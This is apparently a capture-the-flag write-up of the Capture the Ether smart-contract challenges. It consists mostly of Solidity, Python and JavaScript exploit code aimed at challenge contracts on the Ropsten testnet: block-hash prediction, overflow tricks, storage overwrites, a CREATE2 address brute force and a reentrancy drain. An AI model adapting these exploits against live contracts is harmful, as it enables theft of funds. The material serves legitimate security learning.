Capture the Ether wp Guess the secret number 1 2 3 4 5 from Crypto.Util.number import *import sha3for i in range (2 **8 ): if sha3.keccak_256(long_to_bytes(i)).digest().hex ()=='db81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365' : print(i)
Guess the random number
1 2 3 4 5 6 7 8 9 10 from Crypto.Util.number import *from web3.auto.infura.ropsten import w3import sha3import binasciidef byte32 (i ): return binascii.unhexlify('%064x' %i) blcokhash=int (w3.eth.getBlock(11448140 -1 )['hash' ].hex (),16 ) blcoktimetamp=w3.eth.getBlock(11448140 )['timestamp' ] print(sha3.keccak_256(byte32(blcokhash)+byte32(blcoktimetamp)).digest().hex ()[-2 :])
Guess the new number 1 2 3 4 5 6 7 8 9 10 11 contract attacker { function attacker() public payable { uint8 result = uint8(keccak256(block.blockhash(block.number - 1), now)); GuessTheNewNumberChallenge target = GuessTheNewNumberChallenge(0x955745113aB0E98ACdfe1ffC6846C4d1CdfC4cFd); target.guess.value(1 ether)(result); } function () public payable { } }
Predict the future 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 contract attack{ PredictTheFutureChallenge claim =PredictTheFutureChallenge(0x69cF0a12620Fc8530bD94ab80b08C6b4A58d322d); function attack() payable public{ claim.lockInGuess.value(1 ether)(1); } function tryhack(){ uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10; if(answer==1) { claim.settle(); } } function () public payable { } }
Predict the block hash 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 contract attack{ PredictTheBlockHashChallenge claim = PredictTheBlockHashChallenge(0x75A30ccC225cCe71F553d113612F04F42Ec11221); uint settlementBlockNumber; function attack() payable public{ settlementBlockNumber = block.number + 1; claim.lockInGuess.value(1 ether)(0x0000000000000000000000000000000000000000000000000000000000000000); } function tryhack(){ require(settlementBlockNumber-block.number>=256); claim.settle(); } function () public payable { } }
Token sale 整数乘法上溢
1 2 3 print(hex (2 **256 //10 **18 +1 )) tt=2 **256 //10 **18 +1 print(tt*10 **18 -2 **256 )
Token whale _transfer函数存在溢出
player transfer -> A 600
A approve -> player 1000
player transferFrom -> A -> B 600
Balance[player]-600
Retirement fund 自毁强制转账,满足调用collectPenalty
Mapping 覆盖map数组的长度实现数组越界访问,最后通过计算相对位置覆盖isComplete
Donation 结构体的非显式存储导致(未初始化的storage指针)的变量覆盖
donation.etherAmount=uint256(address) 可以实现对owner的覆盖
再简单计算一下msg.value
Fifty years 算是Mapping和Donation的结合体
msg.value会覆盖queue的长度,timestamp会覆盖head
Upset(1,2^256-86400)(1 wei)
Upset(1,0)(1 wei)
需要注意的是,我们的msg.value会先覆盖contribution.amount,而后的push操作会用queue长度再覆盖contribution.amount一次,也就是实际记录的total会大于contract.balance,会导致我们在withdraw的时候失败,所以需要进行一定的变形,这就是两次1wei的原因所在
Fuzzy identity 1 2 3 4 5 6 7 8 contract BadCodeSmarx is IName { function callAuthenticate(address _challenge) public { FuzzyIdentityChallenge(_challenge).authenticate(); } function name() external view returns (bytes32) { return bytes32("smarx"); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from web3 import Web3 s1 = '0xff'+address(EOA) s3 = '4670da3f633e838c2746ca61c370ba3dbd257b86b28b78449f4185480e2aba51' i = 0 while(1): salt = hex(i)[2:].rjust(64, '0') s = s1+salt+s3 hashed = Web3.sha3(hexstr=s) hashed_str = ''.join(['%02x' % b for b in hashed]) if 'badc0de' in hashed_str[24:]: print(salt,hashed_str) break i += 1 print(salt)
1 2 3 4 5 6 7 8 9 10 11 12 13 contract Deployer { // contractBytecode是待部署合约的bytecode bytes contractBytecode = hex"608060405234801561001057600080fd5b5061015d806100206000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c806306fdde031461003b5780637872ab4914610059575b600080fd5b61004361009d565b6040518082815260200191505060405180910390f35b61009b6004803603602081101561006f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506100c5565b005b60007f736d617278000000000000000000000000000000000000000000000000000000905090565b8073ffffffffffffffffffffffffffffffffffffffff1663380c7a676040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561010d57600080fd5b505af1158015610121573d6000803e3d6000fd5b505050505056fea265627a7a72315820fb2fc7a07f0eebf799c680bb1526641d2d905c19393adf340a04e48c9b527de964736f6c634300050c0032"; function deploy(bytes32 salt) public { bytes memory bytecode = contractBytecode; address addr; assembly { addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt) } } }
Public Key 公钥计算
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 const { ethers } = require ('ethers' )let provider = new ethers.providers.InfuraProvider('ropsten' );console .log(provider._isProvider)let transactionHash="0xabc467bedd1d17462fcc7942d0af7874d6f8bdefee2b299c9168a216d3ff0edb" provider.getTransaction(transactionHash).then((firstTx ) => { console .log(firstTx); const txData = { gasPrice: firstTx.gasPrice, gasLimit: firstTx.gasLimit, value: firstTx.value, nonce: firstTx.nonce, data: firstTx.data, to: firstTx.to, chainId: firstTx.chainId, }; const signingData = ethers.utils.serializeTransaction(txData); const msgHash = ethers.utils.keccak256(signingData); const signature = { r : firstTx.r, s : firstTx.s, v : firstTx.v }; let rawPublicKey = ethers.utils.recoverPublicKey(msgHash, signature); rawPublicKey = `0x${rawPublicKey.slice(4 )} ` ; console .log(`Recovered public key ${rawPublicKey} ` ); });
Account Takeover 利用随机数冲突的ECDSA签名恢复以太坊私钥
参考
Assume ownership 权限控制问题
Token bank 重入攻击
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 function withdraw(uint256 amount) public { require(balanceOf[msg.sender] >= amount); require(token.transfer(msg.sender, amount)); // balance decreased after recipient is notified // re-entrancy issue balanceOf[msg.sender] -= amount; } function transfer(address to, uint256 value, bytes data) public returns (bool) { require(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; balanceOf[to] += value; emit Transfer(msg.sender, to, value); if (isContract(to)) { ITokenReceiver(to).tokenFallback(msg.sender, value, data); } return true; }
challenge.withdraw => token.transfer => msg.sender.tokenFallback() => …
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 TokenBankChallenge public bank = TokenBankChallenge(0x5e3D261A631c41659b37168199d9B8020a1d976c); function attack() public { SimpleERC223Token token = SimpleERC223Token(bank.token()); uint256 balance = token.balanceOf(this); require(balance == token.balanceOf(address(bank))); require(balance + token.balanceOf(address(bank)) == token.totalSupply()); token.transfer(address(bank), balance); require(token.balanceOf(this) == 0); require(balance == bank.balanceOf(this)); require(token.balanceOf(address(bank)) == token.totalSupply()); bank.withdraw(balance); require(bank.isComplete() == true); } function tokenFallback(address from, uint256, bytes) public { SimpleERC223Token token = SimpleERC223Token(bank.token()); require(msg.sender == address(token)); if (from == address(bank)) { if (token.balanceOf(address(bank)) > 0) { uint256 balance = bank.balanceOf(this); bank.withdraw(balance); } } } }
需要先用player账户withdraw出来,再转移到部署的攻击账户